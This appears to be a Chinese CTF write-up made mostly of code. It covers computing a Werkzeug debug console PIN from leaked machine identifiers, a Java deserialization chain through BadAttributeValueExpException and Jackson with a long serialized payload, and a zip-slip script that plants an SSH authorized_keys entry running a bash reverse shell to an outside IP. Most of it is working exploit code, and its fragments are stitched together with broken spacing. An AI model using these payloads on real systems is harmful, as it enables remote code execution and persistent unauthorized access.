def get_pin_and_cookie_name( app: "WSGIApplication", ) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]: """Given an application object this returns a semi-stable 9 digit pin code and a random key. The hope is that this is stable between restarts to not make debugging particularly frustrating. If the pin was forcefully disabled this returns `None`. Second item in the resulting tuple is the cookie name for remembering. """ pin = os.environ.get("WERKZEUG_DEBUG_PIN") rv = None num= None
# Pin was explicitly disabled if pin == "off": return None, None
# Pin was provided explicitly if pin is not None and pin.replace("-", "").isdecimal(): # If there are separators in the pin, return it directly if"-" in pin: rv = pin else: num = pin
try: # getuser imports the pwd module, which does not exist in Google # App Engine. It may also raise a KeyError if the UID does not # have a username, such as in Docker. username = getpass.getuser() except (ImportError, KeyError): username = None
mod= sys.modules.get(modname)
# This information only exists to make the cookie unique on the # computer, not as a security feature. probably_public_bits = [ username, modname, getattr(app, "__name__", type(app).__name__), getattr(mod, "__file__", None), ]
# This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page. private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: iflen(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num
return rv, cookie_name
rv 就是 pin 码
重点看
1 2 3 4 5 6 7
for bit in chain(probably_public_bits, private_bits): if not bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
defget_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id
if _machine_id isnotNone: return _machine_id
def_generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
# machine-id is stable across boots, boot_id is not. for filename in"/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: withopen(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
# Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: withopen("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
# On OS X, use ioreg to get the computer's serial number. try: # subprocess may not be available, e.g. Google App Engine # https://github.com/pallets/werkzeug/issues/925 from subprocess import Popen, PIPE
private_bits = [ "2485378023426", #/sys/class/net/eth0/address 十六进制转十进制 "349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687" ]#读取/proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接而成 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits num = None if num isNone: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv = None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = "-".join( num[x: x + group_size].rjust(group_size, "0") for x inrange(0, len(num), group_size) ) break else: rv = num
if (valObj == null) { val = null; } elseif (valObj instanceof String) { val= valObj; } elseif (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized objectisfrom a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
toString 方法,这里要调用 basejsonnode 的这个方法,给其赋值。
反射修改
1 2 3 4
BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes);
跟进 toString
1 2 3
public String toString() { return InternalNodeMapper.nodeToString(this); }
protectedvoidserializeFields(Object bean, JsonGenerator gen, SerializerProvider provider) throws IOException { final BeanPropertyWriter[] props; if (_filteredProps != null && provider.getActiveView() != null) { props = _filteredProps; } else { props = _props; } inti=0; try { for (finalintlen= props.length; i < len; ++i) { BeanPropertyWriterprop= props[i]; if (prop != null) { // can have nulls in filtered list prop.serializeAsField(bean, gen, provider); } } if (_anyGetterWriter != null) { _anyGetterWriter.getAndSerialize(bean, gen, provider); } } catch (Exception e) { Stringname= (i == props.length) ? "[anySetter]" : props[i].getName(); wrapAndThrow(provider, e, bean, name); } catch (StackOverflowError e) { // 04-Sep-2009, tatu: Dealing with this is tricky, since we don't have many // stack frames to spare... just one or two; can't make many calls.
// 10-Dec-2015, tatu: and due to above, avoid "from" method, call ctor directly: //JsonMappingException mapE = JsonMappingException.from(gen, "Infinite recursion (StackOverflowError)", e); DatabindExceptionmapE=newJsonMappingException(gen, "Infinite recursion (StackOverflowError)", e);
data = {"param":"rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4c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EAAwALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABYADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAGAAAAAkCABIAAAAUAAAAAQAQABkAAwALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABsADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAaABsAAgAAAAEAHAAdAAMAFgAAAAQAAQAXABgAAAANAwASAAAAGgAAABwAAAAIAB4ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAA0ACQAQAAwADgANAA8AEQARAA0AAAAMAAEADQAEAB8AIAAAACEAAAAHAAJMBwAiBAABACMAAAACACRwdAAHc2hhbmdoZXB3AQB4" res =requests.post(url=url,data=string)
import zipfile importrequests pub= requests.get('http://localhost:8888/readfile?file=/home/vanzy/.ssh/id_rsa.pub').text print(pub) with open('hh.txt', 'w') as f: f.write('command="bash -c \'bash -i >&/dev/tcp/43.143.192.19/1145 0>&1\'" ' + pub) # the name of the zip file to generate zf= zipfile.ZipFile('1.zip', 'w') url = "http://localhost:8888/file-unarchiver" fname = 'hh.txt' #destination path of the file zf.write(fname, '../home/vanzy/.ssh/authorized_keys')
headers = {"Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/zip" } cookies = {"XDEBUG_SESSION":"PHPSTORM"} proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
import zipfile importrequests pub= requests.get('http://159.138.131.31:8888/readfile?file=/home/vanzy/.ssh/id_rsa.pub').text print(pub) with open('hh.txt', 'w') as f: f.write('command="bash -c \'bash -i >&/dev/tcp/43.143.192.19/1145 0>&1\'" ' + pub) # the name of the zip file to generate zf= zipfile.ZipFile('1.zip', 'w') url = "http://159.138.131.31:8888/file-unarchiver" fname = 'hh.txt' #destination path of the file zf.write(fname, '../home/vanzy/.ssh/authorized_keys')
headers = {"Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/zip" } cookies = {"XDEBUG_SESSION":"PHPSTORM"} proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}